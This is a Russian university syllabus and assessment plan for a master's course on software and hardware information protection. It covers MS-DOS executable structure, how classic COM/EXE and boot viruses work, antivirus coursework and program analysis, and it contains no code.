

УТВЕРЖДАЮ:

Проректор по учебной работе

_____ / О.В. Юсупова

" ____ " _____ 20__ г.

РАБОЧАЯ ПРОГРАММА ДИСЦИПЛИНЫ (МОДУЛЯ)

Б1.В.01.04 «Программно-аппаратные средства защиты информации»

Код и направление подготовки (специальность)	10.04.01 Информационная безопасность
Направленность (профиль)	Интеллектуальные средства в системах безопасности
Квалификация	Магистр
Форма обучения	Очная
Год начала подготовки	2022
Институт / факультет	Институт автоматики и информационных технологий
Выпускающая кафедра	кафедра "Электронные системы и информационная безопасность"
Кафедра-разработчик	кафедра "Электронные системы и информационная безопасность"
Объем дисциплины, ч. / з.е.	144 / 4
Форма контроля (промежуточная аттестация)	Зачет с оценкой

Б1.В.01.04 «Программно-аппаратные средства защиты информации»

Рабочая программа дисциплины разработана в соответствии с требованиями ФГОС ВО по направлению подготовки (специальности) **10.04.01 Информационная безопасность**, утвержденного приказом Министерства образования и науки РФ от № 1455 от 26.11.2020 и соответствующего учебного плана.

Разработчик РПД:

Доцент, кандидат химических
наук, доцент

(должность, степень, ученое звание)

А.В Чуваков

(ФИО)

Заведующий кафедрой

Н.Е. Карпова, кандидат
технических наук

(ФИО, степень, ученое звание)

СОГЛАСОВАНО:

Председатель методического совета
факультета / института (или учебно-
методической комиссии)

Я.Г Стельмах, кандидат
педагогических наук

(ФИО, степень, ученое звание)

Руководитель образовательной
программы

Н.Е. Карпова, кандидат
технических наук

(ФИО, степень, ученое звание)

Содержание

1. Перечень планируемых результатов обучения по дисциплине (модулю), соотнесенных с планируемыми результатами освоения образовательной программы	4
2. Место дисциплины (модуля) в структуре образовательной программы	5
3. Объем дисциплины (модуля) в зачетных единицах с указанием количества академических часов, выделенных на контактную работу обучающихся с преподавателем (по видам учебных занятий) и на самостоятельную работу обучающихся	5
4. Содержание дисциплины (модуля), структурированное по темам (разделам), с указанием отведенного на них количества академических часов и видов учебных занятий	6
4.1 Содержание лекционных занятий	6
4.2 Содержание лабораторных занятий	7
4.3 Содержание практических занятий	9
4.4. Содержание самостоятельной работы	9
5. Перечень учебной литературы и учебно-методического обеспечения по дисциплине (модулю)	10
6. Перечень информационных технологий, используемых при осуществлении образовательного процесса по дисциплине (модулю), включая перечень программного обеспечения	11
7. Перечень ресурсов информационно-телекоммуникационной сети «Интернет», профессиональных баз данных, информационно-справочных систем	12
8. Описание материально-технической базы, необходимой для осуществления образовательного процесса по дисциплине (модулю)	12
9. Методические материалы	14
10. Фонд оценочных средств по дисциплине (модулю)	15

**1. Перечень планируемых результатов обучения по дисциплине (модулю),
соотнесенных с планируемыми результатами освоения образовательной
программы**

Наименование категории (группы) компетенций	Код и наименование компетенции	Код и наименование индикатора достижения компетенции	Результаты обучения (знать, уметь, владеть, соотнесенные с индикаторами достижения компетенции)
Профессиональные компетенции			
Не предусмотрено	ПК-2 Способен проектировать информационные системы и их компоненты в защищенном исполнении	ПК-2.1 Знает методы проектирования и построения информационных систем в соответствии с требованиями информационной безопасности, включая методы тестирования эффективности и оценки надёжности в соответствии с требованиями информационной безопасности	Знать методы оценки надёжности информационных систем, спроектированных в соответствии с требованиями информационной безопасности
		Знать методы тестирования эффективности информационных систем, спроектированных в соответствии с требованиями информационной безопасности	
		Знать методы проектирования и построения информационных систем в соответствии с требованиями информационной безопасности	
		ПК-2.2 Умеет проектировать информационные системы с учётом различных технологий обеспечения информационной безопасности	Уметь проектировать информационные системы
		Уметь проектировать информационные системы, используя технологии обеспечения информационной безопасности	

		ПК-2.3 Владеет навыками проектирования и построения защищённых информационных систем в соответствии с требованиями информационной безопасности	Владеть навыками построения защищённых информационных систем в соответствии с требованиями информационной безопасности
			Владеть навыками проектирования защищённых информационных систем в соответствии с требованиями информационной безопасности

2. Место дисциплины (модуля) в структуре образовательной программы

Место дисциплины (модуля) в структуре образовательной программы: **часть, формируемая участниками образовательных отношений**

Код компетенции	Предшествующие дисциплины	Параллельно осваиваемые дисциплины	Последующие дисциплины
ПК-2		Информационные устройства в интеллектуальных системах безопасности; Производственная практика: технологическая практика	Интеллектуальные системы и базы данных; Подготовка к защите и процедура защиты выпускной квалификационной работы; Производственная практика: проектно-технологическая практика

3. Объем дисциплины (модуля) в зачетных единицах с указанием количества академических часов, выделенных на контактную работу обучающихся с преподавателем (по видам учебных занятий) и на самостоятельную работу обучающихся

Вид учебной работы	Всего часов / часов в электронной форме	1 семестр часов / часов в электронной форме
Аудиторная контактная работа (всего), в том числе:	40	40
Лабораторные работы	24	24
Лекции	16	16
Внеаудиторная контактная работа, КСР	32	32
Самостоятельная работа (всего), в том числе:	72	72
выполнение курсовых работ	32	32
подготовка к зачету	16	16

подготовка к лабораторным работам	24	24
Итого: час	144	144
Итого: з.е.	4	4

4. Содержание дисциплины (модуля), структурированное по темам (разделам), с указанием отведенного на них количества академических часов и видов учебных занятий

№ раздела	Наименование раздела дисциплины	Виды учебной нагрузки и их трудоемкость, часы				
		ЛЗ	ЛР	ПЗ	СРС	Всего часов
1	Основы функционирования исполняемых модулей	4	4	0	24	32
2	Компьютерные вирусы	8	16	0	26	50
3	Защита программ от несанкционированного доступа и изучения	4	4	0	22	30
	КСР	0	0	0	0	32
	Итого	16	24	0	72	144

4.1 Содержание лекционных занятий

№ занятия	Наименование раздела	Тема лекции	Содержание лекции (перечень дидактических единиц: рассматриваемых подтем, вопросов)	Количество часов / часов в электронной форме
1 семестр				
1	Основы функционирования исполняемых модулей	Основы функционирования исполняемых модулей	Обзор современного состояния и последних разработок в области программно-аппаратной защиты информации. Понятия компьютерной системы и исполняемого модуля. Структура и компоненты компьютерной системы, виды информации в них. Работа с различными объектами в MS-DOS	2
2	Основы функционирования исполняемых модулей	Основы функционирования MS-DOS и BIOS.	Процесс загрузки компьютера. Физическая и логическая организация жесткого диска. MBR и таблица разделов. Строение BOOT сектора. Таблица параметров логического диска. Строение FAT. Распределение оперативной памяти в операционной системе MS-DOS. Таблица векторов прерываний. Перехват прерываний. Выделение оперативной памяти. Резидентность..	2

3	Компьютерные вирусы	Разновидности вирусов в MS-DOS.	Разрушающие программные воздействия. Этапы развития вирусологии. Классификация компьютерных вирусов. Пример вируса, записываемого поверх исполняемых файлов COM формата. Описание алгоритма работы простейшего нерезидентного COM вируса, записывающегося в конец файла и пример кода.	2
4	Компьютерные вирусы	Разновидности вирусов в MS-DOS.	Алгоритм работы EXE вируса. Описание шагов работы и пример кода. Резидентные COM вирусы. Особенности и алгоритмы работы.	2
5	Компьютерные вирусы	Вирусные технологии	Резидентные EXE вирусы. Особенности и алгоритмы работы. Виды загрузочных вирусов. Алгоритм работы загрузочного вируса. Пример кода загрузочного вируса	2
6	Компьютерные вирусы	Антивирусные технологии	Методы самозащиты вирусов. Защита от обнаружения. Невидимость. Туннелинг. Антитуннелинг. Сплайсинг. Антиэвристика. Антинаживка. Защита от лечения. Методы защиты от антивирусов. Методы деструкции.	2
7	Защита программ от несанкционированного доступа и изучения	Исследования программного обеспечения на предмет отсутствия не декларированных возможностей.	Сертификация средств защиты. Проверка соответствия реальных и декларируемых функциональных возможностей	2
8	Защита программ от несанкционированного доступа и изучения	Исследования программного обеспечения на предмет отсутствия не декларированных возможностей.	Статический и динамический анализ исходных текстов программ и исполняемых модулей.	2
Итого за семестр:				16
Итого:				16

4.2 Содержание лабораторных занятий

№ занятия	Наименование раздела	Тема лабораторного занятия	Содержание лабораторного занятия (перечень дидактических единиц: рассматриваемых подтем, вопросов)	Количество часов / часов в электронной форме
1 семестр				
1	Основы функционирования исполняемых модулей	Система шифрования файлов. Простейшее шифрующее преобразование XOR.	Основы построения COM и EXE программ. Функции MS-DOS для работы с клавиатурой, монитором и файловой системой.	2

2	Основы функционирования исполняемых модулей	Система шифрования файлов. Простейшее шифрующее преобразование XOR.	Функции MS-DOS для работы с клавиатурой, монитором и файловой системой. Простейшее шифрующее преобразование XOR.	2
3	Компьютерные вирусы	Исследование работы нерезидентного внедряющегося COM вируса.	Пример вируса, записываемого поверх исполняемых файлов COM формата.	2
4	Компьютерные вирусы	Исследование работы нерезидентного внедряющегося COM вируса.	Исследование работы нерезидентного внедряющегося EXE вируса.	2
5	Компьютерные вирусы	Исследование работы нерезидентного внедряющегося EXE вируса.	Исследование работы нерезидентного внедряющегося EXE вируса.	2
6	Компьютерные вирусы	Исследование работы нерезидентного внедряющегося EXE вируса.	Алгоритм работы EXE вируса.	2
7	Компьютерные вирусы	Исследование работы нерезидентного внедряющегося EXE вируса.	Код EXE вируса.	2
8	Компьютерные вирусы	Исследование работы резидентного внедряющегося COM вируса.	Исследование работы резидентного внедряющегося COM вируса.	2
9	Компьютерные вирусы	Исследование работы резидентного внедряющегося COM вируса.	Резидентные COM вирусы. Особенности и алгоритмы работы.	2
10	Компьютерные вирусы	Исследование работы резидентного внедряющегося COM вируса.	Методы самозащиты вирусов.	2
11	Защита программ от несанкционированного доступа и изучения	Криптографическая пристыковочная защита исполняемых файлов. Методика изучения программ. Отладчики и дизассемблеры.	Методика изучения программ	2

12	Защита программ от несанкционированного доступа и изучения	Криптографическая пристыковочная защита исполняемых файлов. Методика изучения программ. Отладчики и дизассемблеры.	Отладчики и дизассемблеры.	2
Итого за семестр:				24
Итого:				24

4.3 Содержание практических занятий

Учебные занятия не реализуются.

4.4. Содержание самостоятельной работы

Наименование раздела	Вид самостоятельной работы	Содержание самостоятельной работы (перечень дидактических единиц: рассматриваемых подтем, вопросов)	Количество часов
1 семестр			
Основы функционирования исполняемых модулей	Подготовка к лабораторным работам	Основы построения COM и EXE программ. Функции MS-DOS для работы с клавиатурой, монитором и файловой системой. Функции MS-DOS для работы с клавиатурой, монитором и файловой системой. Простейшее шифрующее преобразование XOR.	8
Основы функционирования исполняемых модулей	Выполнение курсовой работы	Дизассемблирование и исследование полученного файла файла	12
Основы функционирования исполняемых модулей	Подготовка к зачету	Обзор современного состояния и последних разработок в области программно-аппаратной защиты информации. Понятия компьютерной системы и исполняемого модуля. Структура и компоненты компьютерной системы, виды информации в них. Работа с различными объектами в MS-DOS. Процесс загрузки компьютера. Физическая и логическая организация жесткого диска. MBR и таблица разделов. Строение BOOT сектора. Таблица параметров логического диска. Строение FAT. Распределение оперативной памяти в операционной системе MS-DOS. Таблица векторов прерываний. Перехват прерываний.	4

Компьютерные вирусы	Подготовка к лабораторным работам	Пример вируса, записываемого поверх исполняемых файлов COM формата Алгоритм работы простейшего нерезидентного COM вируса, записывающегося в конец файла. Исследование работы нерезидентного внедряющегося EXE вируса. Исследование работы резидентного внедряющегося COM вируса Резидентные COM вирусы. Особенности и алгоритмы работы.	8
Компьютерные вирусы	Выполнение курсовой работы	Определение алгоритма действия вируса и его характерные признаки	12
Компьютерные вирусы	Подготовка к зачету	Разрушающие программные воздействия. Этапы развития вирусологии. Классификация компьютерных вирусов. Пример вируса, записываемого поверх исполняемых файлов COM формата. Описание алгоритма работы простейшего нерезидентного COM вируса, записывающегося в конец файла и пример кода. Алгоритм работы EXE вируса. Описание шагов работы и пример кода. Резидентные COM вирусы. Особенности и алгоритмы работы. Резидентные EXE вирусы. Особенности и алгоритмы работы. Виды загрузочных вирусов. Алгоритм работы загрузочного вируса. Пример кода загрузочного вируса. Методы самозащиты вирусов. Защита от обнаружения.. Защита от лечения. Методы защиты от антивирусов. Методы деструкции.	6
Защита программ от несанкционированного доступа и изучения	Подготовка к лабораторным работам	Методика изучения программ. Отладчики и дизассемблеры	8
Защита программ от несанкционированного доступа и изучения	Выполнение курсовой работы	Разработка алгоритма работы антивируса и его реализации	8
Защита программ от несанкционированного доступа и изучения	Подготовка к зачету	Сертификация средств защиты. Проверка соответствия реальных и декларируемых функциональных возможностей. Статический и динамический анализ исходных текстов программ и исполняемых модулей.	6
Итого за семестр:			72
Итого:			72

5. Перечень учебной литературы и учебно-методического обеспечения по дисциплине (модулю)

№ п/п	Библиографическое описание	Ресурс НТБ СамГТУ (ЭБС СамГТУ, IPRbooks и т.д.)
Основная литература		
1	Защита информации: специализированные аттестованные программные и программно-аппаратные средства; Вузовское образование, 2021.- Режим доступа: https://elib.samgtu.ru/getinfo?uid=els_samgtu iprbooks 110329	Электронный ресурс
2	Методы и средства защиты компьютерной информации: аппаратные и программные средства защиты информации; Издательский Дом МИСиС , 2018.- Режим доступа: https://elib.samgtu.ru/getinfo?uid=els_samgtu iprbooks 98199	Электронный ресурс
3	Технологии борьбы с компьютерными вирусами; СОЛОН-ПРЕСС, 2016.- Режим доступа: https://elib.samgtu.ru/getinfo?uid=els_samgtu iprbooks 90288	Электронный ресурс
Дополнительная литература		
4	Программирование на ассемблере на платформе x86-64; Профобразование, 2019.- Режим доступа: https://elib.samgtu.ru/getinfo?uid=els_samgtu iprbooks 88005	Электронный ресурс

Доступ обучающихся к ЭР НТБ СамГТУ (elib.samgtu.ru) осуществляется посредством электронной информационной образовательной среды университета и сайта НТБ СамГТУ по логину и паролю.

6. Перечень информационных технологий, используемых при осуществлении образовательного процесса по дисциплине (модулю), включая перечень программного обеспечения

При проведении лекционных занятий используется мультимедийное оборудование.

Организовано взаимодействие обучающегося и преподавателя с использованием электронной ин-формационной образовательной среды университета.

№ п/п	Наименование	Производитель	Способ распространения
1	Операционная система Windows 10	Microsoft (Зарубежный)	Лицензионное
2	Операционная система Astra Linux Special Edition	ГК Astra Linux (ООО «Рус-БИТех-Астра») (Отечественный)	Лицензионное
3	Kaspersky Endpoint Security 11.6.0.394	Лаборатория Касперского (Отечественный)	Лицензионное
4	MaxPatrol Education	Positive Technologies (Отечественный)	Лицензионное
5	MaxPatrol SIEM Education	Positive Technologies (Отечественный)	Лицензионное
6	OpenOffice 3.2	Apache Software Foundation (Зарубежный)	Свободно распространяемое

7	Средство просмотра PDF-файлов PDF24 10.0.10	Geek Software GmbH (Зарубежный)	Свободно распространяемое
8	Средство просмотра DJVU-файлов WinDjView 2.1	Андрей и Леонид Жеже-рун (Отечественный)	Свободно распространяемое

7. Перечень ресурсов информационно-телекоммуникационной сети «Интернет», профессиональных баз данных, информационно-справочных систем

№ п/п	Наименование	Краткое описание	Режим доступа
1	ScienceDirect (Elsevier) - естественные науки, техника, медицина и общественные науки.	http://www.sciencedirect.com/	Зарубежные базы данных ограниченного доступа
2	Scopus - база данных рефератов и цитирования	http://www.scopus.com/	Зарубежные базы данных ограниченного доступа
3	Электронная библиотека изданий СамГТУ	http://irbis.samgtu.local/cgi-bin/irbis64r_01/cgiirbis_64.exe	Российские базы данных ограниченного доступа
4	eLIBRARY.ru	http://www.eLIBRARY.ru/	Российские базы данных ограниченного доступа
5	РОСПАТЕНТ	http://www1.fips.ru/	Российские базы данных ограниченного доступа
6	Электронно-библиотечная система IPRbooks	http://www.iprbookshop.ru/	Российские базы данных ограниченного доступа

8. Описание материально-технической базы, необходимой для осуществления образовательного процесса по дисциплине (модулю)

Лекционные занятия

Лаборатория № 109 в области технологий обеспечения информационной безопасности и защищенных информационных систем

Учебная лаборатория (компьютерный класс) для проведения занятий лекционного типа, практических занятий и занятий семинарского типа, лабораторных работ, курсового проектирования (выполнения курсовых работ), групповых и индивидуальных консультаций, текущего контроля и промежуточной аттестации.

Лаборатория оснащена средствами вычислительной техники, сетевым оборудованием, техническими, программными и программно-аппаратными средствами защиты информации и средствами контроля защищенности информации: компьютеры в комплекте (системный блок, клавиатура, мышь, монитор) с возможностью подключения к сети «Интернет» и с доступом в электронную информационно-образовательную среду АИС «Университет» – 12 шт.; коммутатор DES-3526 3 шт., коммутатор DGS-3312SR 1 шт., кабель Ethernet 35 шт., консольный кабель 10 шт.

Специализированная мебель: компьютерные и ученические столы, ученические стулья, доска, стол и стул для преподавателя.

Пакет прикладных программных продуктов:
Операционная система Windows 10
Операционная система Astra Linux Special Edition
Kaspersky Endpoint Security 11.6.0.394
MaxPatrol Education
MaxPatrol SIEM Education
Комплекс офисных приложений OpenOffice 3.2
Средство просмотра PDF-файлов PDF24 10.0.10
Средство просмотра DJVU-файлов WinDjView

Практические занятия null

Лабораторные занятия

Лаборатория № 114 в области технологий обеспечения информационной безопасности и защищенных информационных систем

Учебная лаборатория для проведения занятий лекционного типа, семинарского типа, лабораторных работ, курсового проектирования (выполнения курсовых работ), групповых и индивидуальных консультаций, текущего контроля и промежуточной аттестации.

Лаборатория оснащена средствами вычислительной техники, сетевым оборудованием, техническими, программными и программно-аппаратными средствами защиты информации и средствами контроля защищенности информации:

Многоканальный комплекс обнаружения радиоизлучающих средств и радиомониторинга "Крона Про" и СПО "Филин Ультра"; Устройство обнаружения скрытых видеокамер "Амулет"; Антенный измерительный комплекс "АИК 1-40А"; Диктофон RR-US510.

Комплект антенн измерительных АИ 5-0 и АИ 3-2, анализатор спектра GSP-827.

Аппаратура имитации сигналов «Аврора-2», портативный измеритель частоты и мощности «MFP-8000», поисковый приемник радиосигналов «Скорпион», программно-аппаратный комплекс для проведения специсследований «Навигатор-ПЗГ», программно-аппаратный комплекс для проведения акустических и виброакустических измерений «Спрут-7А».

Многофункциональный поисковый прибор ST-031 «Пиранья», специальный сканирующий приемник AR-3000А и ПО «Филин», портативный нелинейный локатор SP-61 «Катран», генератор шума «ГРОМ-ЗИ-4», прибор виброакустической защиты «SI-3001», устройство предотвращения утечки информации по каналам систем мобильной связи МОЗАИКА, контроллер телефонной линии КТЛ-400.

Специализированная мебель: ученические столы, ученические стулья, доска, стол и стул для преподавателя

Самостоятельная работа

Помещения для самостоятельной работы оснащены компьютерной техникой с возможностью подключения к сети «Интернет» и доступом к электронной информационно-образовательной среде СамГТУ:

- читальный зал НТБ СамГТУ (ауд. 200 корпус № 8; ауд. 125 корпус № 1; ауд. 41, 31, 34, 35 Главный корпус библиотеки, ауд. 83а, 414, 416, 0209 АСА СамГТУ; ауд. 401 корпус №10);

- лаборатория № 107 (компьютерный класс) для проведения занятий лекционного типа, практических занятий и занятий семинарского типа, лабораторных работ, курсового проектирования (выполнения курсовых работ), групповых и индивидуальных консультаций, текущего контроля и промежуточной аттестации.

Пакет прикладных программных продуктов:

- Операционная система Windows 10
- Операционная система Astra Linux Special Edition
- Kaspersky Endpoint Security 11.6.0.394
- XSpider Education
- Positive Technologies Application Firewall Education
- Комплекс офисных приложений OpenOffice 3.2
- Средство просмотра PDF-файлов PDF24 10.0.10
- Средство просмотра DJVU-файлов WinDjView 2.1

9. Методические материалы

Методические рекомендации при работе на лекции

До лекции студент должен просмотреть учебно-методическую и научную литературу по теме лекции с тем, чтобы иметь представление о проблемах, которые будут разбираться в лекции.

Перед началом лекции обучающимся сообщается тема лекции, план, вопросы, подлежащие рассмотрению, доводятся основные литературные источники. Весь учебный материал, сообщаемый преподавателем, должен не просто прослушиваться. Он должен быть активно воспринят, т.е. услышан, осмыслен, понят, зафиксирован на бумаге и закреплен в памяти. Приступая к слушанию нового учебного материала, полезно мысленно установить его связь с ранее изученным. Следя за техникой чтения лекции (акцент на существенном, повышение тона, изменение ритма, пауза и т.п.), необходимо вслед за преподавателем уметь выделять основные категории, законы и определять их содержание, проблемы, предполагать их возможные решения, доказательства и выводы. Осуществляя такую работу, можно значительно облегчить себе понимание учебного материала, его конспектирование и дальнейшее изучение.

Конспектирование лекции позволяет обработать, систематизировать и лучше сохранить полученную информацию с тем, чтобы в будущем можно было восстановить в памяти основные, содержательные моменты. Типичная ошибка, совершаемая обучающимся, дословное конспектирование речи преподавателя. Как правило, при записи «слово в слово» не остается времени на обдумывание, анализ и синтез информации. Отбирая нужную информацию, главные мысли, проблемы, решения и выводы, необходимо сокращать текст, строить его таким образом, чтобы потом можно было легко в нем разобраться. Желательно оставить в рабочих конспектах поля, на которых можно будет делать пометки из рекомендованной литературы, дополняющие материал прослушанной лекции, а также подчеркивающие особую важность тех или иных теоретических положений. С окончанием лекции работа над конспектом не может считаться завершенной. Нужно еще восстановить отдельные места, проверить, все ли понятно, уточнить что-то на консультации и т.п. с тем, чтобы конспект мог быть использован в процессе подготовки к практическим занятиям, зачету, экзамену. Конспект лекции – незаменимый учебный документ, необходимый для самостоятельной работы.

Методические рекомендации при работе на лабораторном занятии

Проведение лабораторной работы делится на две условные части: теоретическую и практическую.

Необходимыми структурными элементами занятия являются проведение лабораторной работы, проверка усвоенного материала, включающая обсуждение теоретических основ выполняемой работы.

Перед лабораторной работой, как правило, проводится технико-теоретический инструктаж по использованию необходимого оборудования. Преподаватель корректирует деятельность обучающегося в процессе выполнения работы (при необходимости). После завершения лабораторной работы подводятся итоги, обсуждаются результаты деятельности.

Возможны следующие формы организации лабораторных работ: фронтальная, групповая и индивидуальная. При фронтальной форме выполняется одна и та же работа (при этом возможны различные варианты заданий). При групповой форме работа выполняется группой (командой). При индивидуальной форме обучающимся выполняются индивидуальные работы.

По каждой лабораторной работе имеются методические указания по их выполнению, включающие необходимый теоретический и практический материал, содержащие элементы и последовательную инструкцию по проведению выбранной работы, индивидуальные варианты заданий, требования и форму отчетности по данной работе.

Методические рекомендации по выполнению самостоятельной работы

Организация самостоятельной работы обучающихся ориентируется на активные методы овладения знаниями, развитие творческих способностей, переход от поточного к индивидуализированному обучению с учетом потребностей и возможностей обучающегося.

Самостоятельная работа с учебниками, учебными пособиями, научной, справочной литературой, материалами периодических изданий и Интернета является наиболее эффективным методом получения

дополнительных знаний, позволяет значительно активизировать процесс овладения информацией, способствует более глубокому усвоению изучаемого материала. Все новые понятия по изучаемой теме необходимо выучить наизусть и внести в глоссарий, который целесообразно вести с самого начала изучения курса.

Самостоятельная работа реализуется:

- непосредственно в процессе аудиторных занятий;
- на лекциях, практических занятиях;
- в контакте с преподавателем вне рамок расписания;
- на консультациях по учебным вопросам, в ходе творческих контактов, при ликвидации задолженностей, при выполнении индивидуальных заданий и т.д.;
- в библиотеке, дома, на кафедре при выполнении обучающимся учебных и практических задач.

Эффективным средством осуществления обучающимся самостоятельной работы является электронная информационно-образовательная среда университета, которая обеспечивает доступ к учебным планам, рабочим программам дисциплин (модулей), практик, к изданиям электронных библиотечных систем.

10. Фонд оценочных средств по дисциплине (модулю)

Фонд оценочных средств представлен в приложении № 1.

Приложение 1 к рабочей программе дисциплины
Б1.В.01.04 «Программно-аппаратные средства
защиты информации»

**Фонд оценочных средств
по дисциплине
Б1.В.01.04 «Программно-аппаратные средства защиты информации»**

Код и направление подготовки (специальность)	10.04.01 Информационная безопасность
Направленность (профиль)	Интеллектуальные средства в системах безопасности
Квалификация	Магистр
Форма обучения	Очная
Год начала подготовки	2022
Институт / факультет	Институт автоматизации и информационных технологий
Выпускающая кафедра	кафедра "Электронные системы и информационная безопасность"
Кафедра-разработчик	кафедра "Электронные системы и информационная безопасность"
Объем дисциплины, ч. / з.е.	144 / 4
Форма контроля (промежуточная аттестация)	Зачет с оценкой

**Перечень планируемых результатов обучения по дисциплине (модулю),
соотнесенных с планируемыми результатами освоения образовательной
программы**

Наименование категории (группы) компетенций	Код и наименование компетенции	Код и наименование индикатора достижения компетенции	Результаты обучения (знать, уметь, владеть, соотнесенные с индикаторами достижения компетенции)
Профессиональные компетенции			
Не предусмотрено	ПК-2 Способен проектировать информационные системы и их компоненты в защищенном исполнении	ПК-2.1 Знает методы проектирования и построения информационных систем в соответствии с требованиями информационной безопасности, включая методы тестирования эффективности и оценки надёжности в соответствии с требованиями информационной безопасности	Знать методы оценки надёжности информационных систем, спроектированных в соответствии с требованиями информационной безопасности
		Знать методы тестирования эффективности информационных систем, спроектированных в соответствии с требованиями информационной безопасности	
		Знать методы проектирования и построения информационных систем в соответствии с требованиями информационной безопасности	
		ПК-2.2 Умеет проектировать информационные системы с учётом различных технологий обеспечения информационной безопасности	Уметь проектировать информационные системы
		Уметь проектировать информационные системы, используя технологии обеспечения информационной безопасности	

		ПК-2.3 Владеет навыками проектирования и построения защищённых информационных систем в соответствии с требованиями информационной безопасности	Владеть навыками построения защищённых информационных систем в соответствии с требованиями информационной безопасности
			Владеть навыками проектирования защищённых информационных систем в соответствии с требованиями информационной безопасности

Матрица соответствия оценочных средств запланированным результатам обучения

Код индикатора достижения компетенции	Результаты обучения	Оценочные средства	Текущий контроль успеваемости	Промежуточная аттестация
Основы функционирования исполняемых модулей				
ПК-2.1 Знает методы проектирования и построения информационных систем в соответствии с требованиями информационной безопасности, включая методы тестирования эффективности и оценки надёжности в соответствии с требованиями информационной безопасности	Знать методы тестирования эффективности информационных систем, спроектированных в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Знать методы проектирования и построения информационных систем в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Знать методы оценки надёжности информационных систем, спроектированных в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да

ПК-2.2 Умеет проектировать информационные системы с учётом различных технологий обеспечения информационной безопасности	Уметь проектировать информационные системы, используя технологии обеспечения информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Уметь проектировать информационные системы	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
ПК-2.3 Владеет навыками проектирования и построения защищённых информационных систем в соответствии с требованиями информационной безопасности	Владеть навыками проектирования защищённых информационных систем в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Владеть навыками построения защищённых информационных систем в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
Компьютерные вирусы				
ПК-2.1 Знает методы проектирования и построения информационных систем в соответствии с требованиями информационной безопасности, включая методы тестирования эффективности и оценки надёжности в соответствии с требованиями информационной безопасности	Знать методы тестирования эффективности информационных систем, спроектированных в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Знать методы проектирования и построения информационных систем в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Знать методы оценки надёжности информационных систем, спроектированных в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да

ПК-2.2 Умеет проектировать информационные системы с учётом различных технологий обеспечения информационной безопасности	Уметь проектировать информационные системы, используя технологии обеспечения информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Уметь проектировать информационные системы	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
ПК-2.3 Владеет навыками проектирования и построения защищённых информационных систем в соответствии с требованиями информационной безопасности	Владеть навыками проектирования защищённых информационных систем в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Владеть навыками построения защищённых информационных систем в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
Защита программ от несанкционированного доступа и изучения				
ПК-2.1 Знает методы проектирования и построения информационных систем в соответствии с требованиями информационной безопасности, включая методы тестирования эффективности и оценки надёжности в соответствии с требованиями информационной безопасности	Знать методы проектирования и построения информационных систем в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Знать методы тестирования эффективности информационных систем, спроектированных в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Знать методы оценки надёжности информационных систем, спроектированных в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да

ПК-2.2 Умеет проектировать информационные системы с учётом различных технологий обеспечения информационной безопасности	Уметь проектировать информационные системы, используя технологии обеспечения информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Уметь проектировать информационные системы	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
ПК-2.3 Владеет навыками проектирования и построения защищённых информационных систем в соответствии с требованиями информационной безопасности	Владеть навыками проектирования защищённых информационных систем в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да
	Владеть навыками построения защищённых информационных систем в соответствии с требованиями информационной безопасности	Выполнение курсовой работы	Да	Да
		Ответы на вопросы зачета	Нет	Да

Типовые контрольные задания или иные материалы, необходимые для оценки знаний, умений, навыков и (или) опыта деятельности, характеризующие процесс формирования компетенций в ходе освоения образовательной программы.

Формы текущего контроля успеваемости

Перечень лабораторных работ, по которым предоставляются отчеты по решению задач в соответствии с *таблицей 7* основной части рабочей программы дисциплины.

Формы промежуточной аттестации

Перечень примерных тематик курсовых работ

1. Разработать антивирус на не резидентный вирус COM.
2. Разработать антивирус на резидентный вирус COM .
3. Разработать антивирус на самошифрующийся вирус COM.
4. Разработать антивирус на не резидентный вирус EXE .
5. Разработать антивирус на резидентный вирус EXE .
6. Разработать антивирус на самошифрующийся вирус EXE .
7. Разработать антивирус на не резидентный вирус COM+EXE .
8. Разработать антивирус на резидентный вирус COM+EXE .
9. Разработать антивирус на самошифрующийся вирус COM+EXE.

Вопросы к зачету с оценкой

1. Программы типа COM, EXE. Формат заголовка EXE. Структура PSP.
2. Функции MS-DOS для работы с клавиатурой, монитором и файлами.
3. Поиск файлов. Структура DTA. Управление файловой системой.
4. Архитектура памяти. Таблица векторов прерываний. Перехват прерываний.
5. Строение и выделение оперативной памяти в MS-DOS. Резидентность.
6. Загрузка ЭВМ. Организация жесткого диска. MBR и таблица разделов.
7. BOOT сектор. Строение FAT.
8. Определение и классификация вирусов. Перезаписываемый COM вирус.
9. Программы типа COM, EXE. Формат заголовка EXE. Структура PSP.
10. Функции MS-DOS для работы с клавиатурой, монитором и файлами.
11. Поиск файлов. Структура DTA. Управление файловой системой.
12. Архитектура памяти. Таблица векторов прерываний. Перехват прерываний.
